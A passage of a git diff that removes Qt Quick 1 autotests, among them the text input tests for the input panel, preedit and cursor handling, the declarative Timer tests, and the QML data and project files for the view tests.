QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - - QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(&input); - QDeclarative1TextInputPrivate *inputPrivate = static_cast(pri); - - // input panel on click - inputPrivate->showInputPanelOnFocus = false; - - QStyle::RequestSoftwareInputPanel behavior = QStyle::RequestSoftwareInputPanel( - view.style()->styleHint(QStyle::SH_RequestSoftwareInputPanel)); - QTest::mouseClick(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos())); - QApplication::processEvents(); - if (behavior == QStyle::RSIP_OnMouseClickAndAlreadyFocused) { - QCOMPARE(ic.isInputPanelVisible(), false); - QTest::mouseClick(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos())); - QApplication::processEvents(); - QCOMPARE(ic.isInputPanelVisible(), true); - } else if (behavior == QStyle::RSIP_OnMouseClick) { - QCOMPARE(ic.isInputPanelVisible(), true); - } - - ic.m_showInputPanelCallCount = 0; - ic.m_hideInputPanelCallCount = 0; - - // focus should not cause input panels to open or close - input.setFocus(false); - input.setFocus(true); - input.setFocus(false); - input.setFocus(true); - input.setFocus(false); - QCOMPARE(ic.m_showInputPanelCallCount, 0); - QCOMPARE(ic.m_hideInputPanelCallCount, 0); -} - -void tst_qdeclarativetextinput::openInputPanelOnFocus() -{ - PlatformInputContext ic; - QInputPanelPrivate *inputPanelPrivate = QInputPanelPrivate::get(qApp->inputPanel()); - inputPanelPrivate->testContext = ⁣ - - ic.clear(); - - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextInput input; - QSignalSpy focusOnPressSpy(&input, SIGNAL(activeFocusOnPressChanged(bool))); - input.setText("Hello world"); - input.setPos(0, 0); - scene.addItem(&input); - view.show(); - qApp->setAutoSipEnabled(true); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - - QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(&input); - QDeclarative1TextInputPrivate *inputPrivate = static_cast(pri); - inputPrivate->showInputPanelOnFocus = true; - - // test default values - QVERIFY(input.focusOnPress()); - QCOMPARE(ic.m_showInputPanelCallCount, 0); - QCOMPARE(ic.m_hideInputPanelCallCount, 0); - - // focus on press, input panel on focus - QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos())); - QApplication::processEvents(); - QVERIFY(input.hasActiveFocus()); - QCOMPARE(ic.isInputPanelVisible(), true); - ic.clear(); - - // no events on release - QTest::mouseRelease(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos())); - QCOMPARE(ic.isInputPanelVisible(), false); - ic.clear(); - - // if already focused, input panel can be opened on press - QVERIFY(input.hasActiveFocus()); - QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos())); - QApplication::processEvents(); - QCOMPARE(ic.isInputPanelVisible(), true); - ic.clear(); - - // input method should stay enabled if focus - // is lost to an item that also accepts inputs - QDeclarative1TextInput anotherInput; - scene.addItem(&anotherInput); - anotherInput.setFocus(true); - QApplication::processEvents(); - QCOMPARE(ic.isInputPanelVisible(), true); - ic.clear(); - QVERIFY(view.testAttribute(Qt::WA_InputMethodEnabled)); - - // input method should be disabled if focus - // is lost to an item that doesn't accept inputs - QDeclarativeItem item; - scene.addItem(&item); - item.setFocus(true); - QApplication::processEvents(); - QCOMPARE(ic.isInputPanelVisible(), false); - QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); - ic.clear(); - - // no automatic input panel events should - // be sent if activeFocusOnPress is false - input.setFocusOnPress(false); - QCOMPARE(focusOnPressSpy.count(),1); - input.setFocusOnPress(false); - QCOMPARE(focusOnPressSpy.count(),1); - input.setFocus(false); - input.setFocus(true); - QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos())); - QTest::mouseRelease(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(input.scenePos())); - QApplication::processEvents(); - QCOMPARE(ic.m_showInputPanelCallCount, 0); - QCOMPARE(ic.m_hideInputPanelCallCount, 0); - - // one show input panel event should - // be set when openSoftwareInputPanel is called - input.openSoftwareInputPanel(); - QCOMPARE(ic.isInputPanelVisible(), true); - QCOMPARE(ic.m_hideInputPanelCallCount, 0); - ic.clear(); - - // one close input panel event should - // be sent when closeSoftwareInputPanel is called - input.closeSoftwareInputPanel(); - QCOMPARE(ic.m_showInputPanelCallCount, 0); - QVERIFY(ic.m_hideInputPanelCallCount > 0); - ic.clear(); - - // set activeFocusOnPress back to true - input.setFocusOnPress(true); - QCOMPARE(focusOnPressSpy.count(),2); - input.setFocusOnPress(true); - QCOMPARE(focusOnPressSpy.count(),2); - input.setFocus(false); - QApplication::processEvents(); - QCOMPARE(ic.m_showInputPanelCallCount, 0); - QCOMPARE(ic.m_hideInputPanelCallCount, 0); - ic.clear(); - - // input panel should not re-open - // if focus has already been set - input.setFocus(true); - QCOMPARE(ic.isInputPanelVisible(), true); - ic.clear(); - input.setFocus(true); - QCOMPARE(ic.isInputPanelVisible(), false); - - // input method should be disabled - // if TextInput loses focus - input.setFocus(false); - QApplication::processEvents(); - QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); - - // input method should not be enabled - // if TextEdit is read only. - input.setReadOnly(true); - ic.clear(); - input.setFocus(true); - QApplication::processEvents(); - QCOMPARE(ic.isInputPanelVisible(), false); - QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); -} - -class MyTextInput : public QDeclarative1TextInput -{ -public: - MyTextInput(QDeclarativeItem *parent = 0) : QDeclarative1TextInput(parent) - { - nbPaint = 0; - } - void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget) - { - nbPaint++; - QDeclarative1TextInput::paint(painter, option, widget); - } - int nbPaint; -}; - -void tst_qdeclarativetextinput::setHAlignClearCache() -{ - QGraphicsScene scene; - QGraphicsView view(&scene); - MyTextInput input; - input.setText("Hello world"); - scene.addItem(&input); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_VERIFY(input.nbPaint >= 1); - input.nbPaint = 0; - input.setHAlign(QDeclarative1TextInput::AlignRight); - QApplication::processEvents(); - //Changing the alignment should trigger a repaint - QTRY_VERIFY(input.nbPaint >= 1); -} - -void tst_qdeclarativetextinput::focusOutClearSelection() -{ - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextInput input; - QDeclarative1TextInput input2; - input.setText(QLatin1String("Hello world")); - input.setFocus(true); - scene.addItem(&input2); - scene.addItem(&input); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - input.select(2,5); - //The selection should work - QTRY_COMPARE(input.selectedText(), QLatin1String("llo")); - input2.setFocus(true); - QApplication::processEvents(); - //The input lost the focus selection should be cleared - QTRY_COMPARE(input.selectedText(), QLatin1String("")); -} - -void tst_qdeclarativetextinput::geometrySignals() -{ - QDeclarativeComponent component(&engine, SRCDIR "/data/geometrySignals.qml"); - QObject *o = component.create(); - QVERIFY(o); - QCOMPARE(o->property("bindingWidth").toInt(), 400); - QCOMPARE(o->property("bindingHeight").toInt(), 500); - delete o; -} - -void tst_qdeclarativetextinput::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; TextInput { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; TextInput { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_qdeclarativetextinput::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("canPaste") << "property bool foo: canPaste" - << ":1: ReferenceError: Can't find variable: canPaste" - << ""; - - QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)" - << ":1: ReferenceError: Can't find variable: moveCursorSelection" - << ""; - - QTest::newRow("deselect") << "Component.onCompleted: deselect()" - << ":1: ReferenceError: Can't find variable: deselect" - << ""; -} - -void tst_qdeclarativetextinput::preeditAutoScroll() -{ - QString committedText = "super"; - QString preeditText = "califragisiticexpialidocious!"; - - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextInput input; - QFontMetricsF fm(input.font()); - input.setWidth(fm.width(committedText)); - input.setText(committedText); - input.setPos(0, 0); - input.setFocus(true); - scene.addItem(&input); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - - QSignalSpy cursorRectangleSpy(&input, SIGNAL(cursorRectangleChanged())); - int cursorRectangleChanges = 0; - - // test the text is scrolled so the preedit is visible. - sendPreeditText(preeditText.mid(0, 3), 1); - QVERIFY(input.positionAt(0) != 0); - QVERIFY(input.cursorRectangle().left() < input.boundingRect().width()); - QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges); - - // test the text is scrolled back when the preedit is removed. - QInputMethodEvent emptyEvent; - QApplication::sendEvent(&view, &emptyEvent); - QCOMPARE(input.positionAt(0), 0); - QCOMPARE(input.positionAt(input.width()), 5); - QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges); - - // some tolerance for different fonts. -#ifdef Q_OS_LINUX - const int error = 2; -#else - const int error = 5; -#endif - - // test if the preedit is larger than the text input that the - // character preceding the cursor is still visible. - qreal x = input.positionToRectangle(0).x(); - for (int i = 0; i < 3; ++i) { - sendPreeditText(preeditText, i + 1); - QVERIFY(input.cursorRectangle().right() >= fm.width(preeditText.at(i)) - error); - QVERIFY(input.positionToRectangle(0).x() < x); - QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges); - x = input.positionToRectangle(0).x(); - } - for (int i = 1; i >= 0; --i) { - sendPreeditText(preeditText, i + 1); - QVERIFY(input.cursorRectangle().right() >= fm.width(preeditText.at(i)) - error); - QVERIFY(input.positionToRectangle(0).x() > x); - QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges); - x = input.positionToRectangle(0).x(); - } - - // Test incrementing the preedit cursor doesn't cause further - // scrolling when right most text is visible. - sendPreeditText(preeditText, preeditText.length() - 3); - QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges); - x = input.positionToRectangle(0).x(); - for (int i = 2; i >= 0; --i) { - sendPreeditText(preeditText, preeditText.length() - i); - QCOMPARE(input.positionToRectangle(0).x(), x); - QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges); - } - for (int i = 1; i < 3; ++i) { - sendPreeditText(preeditText, preeditText.length() - i); - QCOMPARE(input.positionToRectangle(0).x(), x); - QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges); - } - - // Test disabling auto scroll. - QApplication::sendEvent(&view, &emptyEvent); - - input.setAutoScroll(false); - sendPreeditText(preeditText.mid(0, 3), 1); - QCOMPARE(input.positionAt(0), 0); - QCOMPARE(input.positionAt(input.width()), 5); - - QApplication::sendEvent(&view, &emptyEvent); - input.setAutoScroll(true); - // Test committing pre-edit text at the start of the string. QTBUG-18789 - input.setCursorPosition(0); - sendPreeditText(input.text(), 5); - QCOMPARE(input.positionAt(0), 0); - - QInputMethodEvent event; - event.setCommitString(input.text()); - QApplication::sendEvent(&view, &emptyEvent); - - QCOMPARE(input.positionAt(0), 0); - QCOMPARE(input.positionAt(input.width()), 5); -} - -void tst_qdeclarativetextinput::preeditMicroFocus() -{ - QString preeditText = "super"; - PlatformInputContext ic; - QInputPanelPrivate *inputPanelPrivate = QInputPanelPrivate::get(qApp->inputPanel()); - inputPanelPrivate->testContext = ⁣ - - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextInput input; - input.setPos(0, 0); - input.setAutoScroll(false); - input.setFocus(true); - scene.addItem(&input); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - - QRect currentRect; - QRect previousRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect(); - - // Verify that the micro focus rect is positioned the same for position 0 as - // it would be if there was no preedit text. - ic.clear(); - sendPreeditText(preeditText, 0); - currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect(); - QCOMPARE(currentRect, previousRect); -#if defined(Q_WS_X11) || defined(Q_WS_QWS) - QVERIFY(ic.updateCallCount > 0); -#endif - - // Verify that the micro focus rect moves to the left as the cursor position - // is incremented. - for (int i = 1; i <= 5; ++i) { - ic.clear(); - sendPreeditText(preeditText, i); - currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect(); - QVERIFY(previousRect.left() < currentRect.left()); -#if defined(Q_WS_X11) || defined(Q_WS_QWS) - QVERIFY(ic.updateCallCount > 0); -#endif - previousRect = currentRect; - } - - // Verify that if there is no preedit cursor then the micro focus rect is the - // same as it would be if it were positioned at the end of the preedit text. - sendPreeditText(preeditText, 0); - ic.clear(); - QInputMethodEvent imEvent(preeditText, QList()); - QApplication::sendEvent(qApp->focusObject(), &imEvent); - currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect(); - QCOMPARE(currentRect, previousRect); -#if defined(Q_WS_X11) || defined(Q_WS_QWS) - QVERIFY(ic.updateCallCount > 0); -#endif -} - -void tst_qdeclarativetextinput::inputContextMouseHandler() -{ - PlatformInputContext platformInputContext; - QInputPanelPrivate *inputPanelPrivate = QInputPanelPrivate::get(qApp->inputPanel()); - inputPanelPrivate->testContext = &platformInputContext; - - QString text = "supercalifragisiticexpialidocious!"; - - QGraphicsScene scene; - QGraphicsView view(&scene); - - QDeclarative1TextInput input; - input.setWidth(200); - input.setCursorPosition(12); - input.setPos(0, 0); - input.setFocus(true); - scene.addItem(&input); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - - QFontMetricsF fm(input.font()); - const qreal y = fm.height() / 2; - - QPoint position2 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 2)), y))); - - QInputMethodEvent inputEvent(text.mid(0, 5), QList()); - QApplication::sendEvent(&view, &inputEvent); - - QTest::mousePress(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2); - QTest::mouseRelease(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2); - QApplication::processEvents(); - - QCOMPARE(platformInputContext.m_action, QInputPanel::Click); - QCOMPARE(platformInputContext.m_invokeActionCallCount, 1); - QCOMPARE(platformInputContext.m_cursorPosition, 2); -} - -void tst_qdeclarativetextinput::inputMethodComposing() -{ - QString text = "supercalifragisiticexpialidocious!"; - - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextInput input; - input.setWidth(200); - input.setText(text.mid(0, 12)); - input.setCursorPosition(12); - input.setPos(0, 0); - input.setFocus(true); - scene.addItem(&input); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - - QSignalSpy spy(&input, SIGNAL(inputMethodComposingChanged())); - - QCOMPARE(input.isInputMethodComposing(), false); - - { - QInputMethodEvent inputEvent(text.mid(3), QList()); - QApplication::sendEvent(qApp->focusObject(), &inputEvent); - } - - QCOMPARE(input.isInputMethodComposing(), true); - QCOMPARE(spy.count(), 1); - - { - QInputMethodEvent inputEvent(text.mid(12), QList()); - QApplication::sendEvent(qApp->focusObject(), &inputEvent); - } - - QCOMPARE(input.isInputMethodComposing(), true); - QCOMPARE(spy.count(), 1); - - { - QInputMethodEvent inputEvent; - QApplication::sendEvent(qApp->focusObject(), &inputEvent); - } - QCOMPARE(input.isInputMethodComposing(), false); - QCOMPARE(spy.count(), 2); -} - -void tst_qdeclarativetextinput::cursorRectangleSize() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/positionAt.qml"); - QVERIFY(canvas->rootObject() != 0); - canvas->show(); - canvas->setFocus(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - - QDeclarative1TextInput *textInput = qobject_cast(canvas->rootObject()); - QVERIFY(textInput != 0); - textInput->setFocus(Qt::OtherFocusReason); - QRectF cursorRect = textInput->positionToRectangle(textInput->cursorPosition()); - QRectF microFocusFromScene = canvas->scene()->inputMethodQuery(Qt::ImMicroFocus).toRectF(); - QRectF microFocusFromApp= QApplication::focusWidget()->inputMethodQuery(Qt::ImMicroFocus).toRectF(); - - QCOMPARE(microFocusFromScene.size(), cursorRect.size()); - QCOMPARE(microFocusFromApp.size(), cursorRect.size()); -} - -QTEST_MAIN(tst_qdeclarativetextinput) - -#include "tst_qdeclarativetextinput.moc" diff --git a/tests/auto/qtquick1/qdeclarativetimer/qdeclarativetimer.pro b/tests/auto/qtquick1/qdeclarativetimer/qdeclarativetimer.pro deleted file mode 100644 index 4709d21ac0..0000000000 --- a/tests/auto/qtquick1/qdeclarativetimer/qdeclarativetimer.pro +++ /dev/null @@ -1,10 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativetimer -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativetimer.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test -QT += core-private gui-private widgets-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativetimer/tst_qdeclarativetimer.cpp b/tests/auto/qtquick1/qdeclarativetimer/tst_qdeclarativetimer.cpp deleted file mode 100644 index 189f6c6dc0..0000000000 --- a/tests/auto/qtquick1/qdeclarativetimer/tst_qdeclarativetimer.cpp +++ /dev/null @@ -1,334 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include - -class tst_qdeclarativetimer : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativetimer(); - -private slots: - void notRepeating(); - void notRepeatingStart(); - void repeat(); - void noTriggerIfNotRunning(); - void triggeredOnStart(); - void triggeredOnStartRepeat(); - void changeDuration(); - void restart(); - void parentProperty(); -}; - -class TimerHelper : public QObject -{ - Q_OBJECT -public: - TimerHelper() : QObject(), count(0) - { - } - - int count; - -public slots: - void timeout() { - ++count; - } -}; - -#define TIMEOUT_TIMEOUT 200 - -tst_qdeclarativetimer::tst_qdeclarativetimer() -{ -} - -void tst_qdeclarativetimer::notRepeating() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 100; running: true }"), QUrl::fromLocalFile("")); - QDeclarative1Timer *timer = qobject_cast(component.create()); - QVERIFY(timer != 0); - QVERIFY(timer->isRunning()); - QVERIFY(!timer->isRepeating()); - QCOMPARE(timer->interval(), 100); - - TimerHelper helper; - connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout())); - - QTest::qWait(TIMEOUT_TIMEOUT); - QCOMPARE(helper.count, 1); - QTest::qWait(TIMEOUT_TIMEOUT); - QCOMPARE(helper.count, 1); - QVERIFY(timer->isRunning() == false); -} - -void tst_qdeclarativetimer::notRepeatingStart() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 100 }"), QUrl::fromLocalFile("")); - QDeclarative1Timer *timer = qobject_cast(component.create()); - QVERIFY(timer != 0); - QVERIFY(!timer->isRunning()); - - TimerHelper helper; - connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout())); - - QTest::qWait(TIMEOUT_TIMEOUT); - QCOMPARE(helper.count, 0); - - timer->start(); - QTest::qWait(TIMEOUT_TIMEOUT); - QCOMPARE(helper.count, 1); - QTest::qWait(TIMEOUT_TIMEOUT); - QCOMPARE(helper.count, 1); - QVERIFY(timer->isRunning() == false); - - delete timer; -} - -void tst_qdeclarativetimer::repeat() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 100; repeat: true; running: true }"), QUrl::fromLocalFile("")); - QDeclarative1Timer *timer = qobject_cast(component.create()); - QVERIFY(timer != 0); - - TimerHelper helper; - connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout())); - QCOMPARE(helper.count, 0); - - QTest::qWait(TIMEOUT_TIMEOUT); - QVERIFY(helper.count > 0); - int oldCount = helper.count; - - QTest::qWait(TIMEOUT_TIMEOUT); - QVERIFY(helper.count > oldCount); - QVERIFY(timer->isRunning()); - - oldCount = helper.count; - timer->stop(); - - QTest::qWait(TIMEOUT_TIMEOUT); - QVERIFY(helper.count == oldCount); - QVERIFY(timer->isRunning() == false); - - QSignalSpy spy(timer, SIGNAL(repeatChanged())); - - timer->setRepeating(false); - QVERIFY(!timer->isRepeating()); - QCOMPARE(spy.count(),1); - - timer->setRepeating(false); - QCOMPARE(spy.count(),1); - - timer->setRepeating(true); - QCOMPARE(spy.count(),2); - - delete timer; -} - -void tst_qdeclarativetimer::triggeredOnStart() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 100; running: true; triggeredOnStart: true }"), QUrl::fromLocalFile("")); - QDeclarative1Timer *timer = qobject_cast(component.create()); - QVERIFY(timer != 0); - QVERIFY(timer->triggeredOnStart()); - - TimerHelper helper; - connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout())); - QTest::qWait(1); - QCOMPARE(helper.count, 1); - - QTest::qWait(TIMEOUT_TIMEOUT); - QCOMPARE(helper.count, 2); - QTest::qWait(TIMEOUT_TIMEOUT); - QCOMPARE(helper.count, 2); - QVERIFY(timer->isRunning() == false); - - QSignalSpy spy(timer, SIGNAL(triggeredOnStartChanged())); - - timer->setTriggeredOnStart(false); - QVERIFY(!timer->triggeredOnStart()); - QCOMPARE(spy.count(),1); - - timer->setTriggeredOnStart(false); - QCOMPARE(spy.count(),1); - - timer->setTriggeredOnStart(true); - QCOMPARE(spy.count(),2); - - delete timer; -} - -void tst_qdeclarativetimer::triggeredOnStartRepeat() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 100; running: true; triggeredOnStart: true; repeat: true }"), QUrl::fromLocalFile("")); - QDeclarative1Timer *timer = qobject_cast(component.create()); - QVERIFY(timer != 0); - - TimerHelper helper; - connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout())); - QTest::qWait(1); - QCOMPARE(helper.count, 1); - - QTest::qWait(TIMEOUT_TIMEOUT); - QVERIFY(helper.count > 1); - int oldCount = helper.count; - QTest::qWait(TIMEOUT_TIMEOUT); - QVERIFY(helper.count > oldCount); - QVERIFY(timer->isRunning()); - - delete timer; -} - -void tst_qdeclarativetimer::noTriggerIfNotRunning() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(QByteArray( - "import QtQuick 1.0\n" - "Item { property bool ok: true\n" - "Timer { id: t1; interval: 100; repeat: true; running: true; onTriggered: if (!running) ok=false }" - "Timer { interval: 10; running: true; onTriggered: t1.running=false }" - "}" - ), QUrl::fromLocalFile("")); - QObject *item = component.create(); - QVERIFY(item != 0); - QTest::qWait(TIMEOUT_TIMEOUT); - QCOMPARE(item->property("ok").toBool(), true); - - delete item; -} - -void tst_qdeclarativetimer::changeDuration() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 200; repeat: true; running: true }"), QUrl::fromLocalFile("")); - QDeclarative1Timer *timer = qobject_cast(component.create()); - QVERIFY(timer != 0); - - TimerHelper helper; - connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout())); - QCOMPARE(helper.count, 0); - - QTest::qWait(500); - QCOMPARE(helper.count, 2); - - timer->setInterval(500); - - QTest::qWait(600); - QCOMPARE(helper.count, 3); - QVERIFY(timer->isRunning()); - - QSignalSpy spy(timer, SIGNAL(intervalChanged())); - - timer->setInterval(200); - QCOMPARE(timer->interval(), 200); - QCOMPARE(spy.count(),1); - - timer->setInterval(200); - QCOMPARE(spy.count(),1); - - timer->setInterval(300); - QCOMPARE(spy.count(),2); - - delete timer; -} - -void tst_qdeclarativetimer::restart() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\nTimer { interval: 500; repeat: true; running: true }"), QUrl::fromLocalFile("")); - QDeclarative1Timer *timer = qobject_cast(component.create()); - QVERIFY(timer != 0); - - TimerHelper helper; - connect(timer, SIGNAL(triggered()), &helper, SLOT(timeout())); - QCOMPARE(helper.count, 0); - - QTest::qWait(600); - QCOMPARE(helper.count, 1); - - QTest::qWait(300); - - timer->restart(); - - QTest::qWait(700); - - QCOMPARE(helper.count, 2); - QVERIFY(timer->isRunning()); - - delete timer; -} - -void tst_qdeclarativetimer::parentProperty() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\nItem { Timer { objectName: \"timer\"; running: parent.visible } }"), QUrl::fromLocalFile("")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item != 0); - QDeclarative1Timer *timer = item->findChild("timer"); - QVERIFY(timer != 0); - - QVERIFY(timer->isRunning()); - - delete timer; -} - -QTEST_MAIN(tst_qdeclarativetimer) - -#include "tst_qdeclarativetimer.moc" diff --git a/tests/auto/qtquick1/qdeclarativeview/data/error1.qml b/tests/auto/qtquick1/qdeclarativeview/data/error1.qml deleted file mode 100644 index 4887ff908f..0000000000 --- a/tests/auto/qtquick1/qdeclarativeview/data/error1.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - nonExistentProperty: 5 -} diff --git a/tests/auto/qtquick1/qdeclarativeview/data/resizemodedeclarativeitem.qml b/tests/auto/qtquick1/qdeclarativeview/data/resizemodedeclarativeitem.qml deleted file mode 100644 index e5501a10dc..0000000000 --- a/tests/auto/qtquick1/qdeclarativeview/data/resizemodedeclarativeitem.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 -Item { - width: 200 - height: 200 -} diff --git a/tests/auto/qtquick1/qdeclarativeview/data/resizemodegraphicswidget.qml b/tests/auto/qtquick1/qdeclarativeview/data/resizemodegraphicswidget.qml deleted file mode 100644 index f27090888b..0000000000 --- a/tests/auto/qtquick1/qdeclarativeview/data/resizemodegraphicswidget.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 -QGraphicsWidget { - width: 200 - height: 200 -} diff --git a/tests/auto/qtquick1/qdeclarativeview/qdeclarativeview.pro b/tests/auto/qtquick1/qdeclarativeview/qdeclarativeview.pro deleted file mode 100644 index 08f10dfc9e..0000000000 --- a/tests/auto/qtquick1/qdeclarativeview/qdeclarativeview.pro +++ /dev/null @@ -1,9 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeview -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativeview.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -QT += core-private gui-private widgets-private declarative-private qtquick1-private widgets testlib diff --git a/tests/auto/qtquick1/qdeclarativeview/tst_qdeclarativeview.cpp b/tests/auto/qtquick1/qdeclarativeview/tst_qdeclarativeview.cpp deleted file mode 100644 index bcbeb1a480..0000000000 --- a/tests/auto/qtquick1/qdeclarativeview/tst_qdeclarativeview.cpp +++ /dev/null @@ -1,333 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as 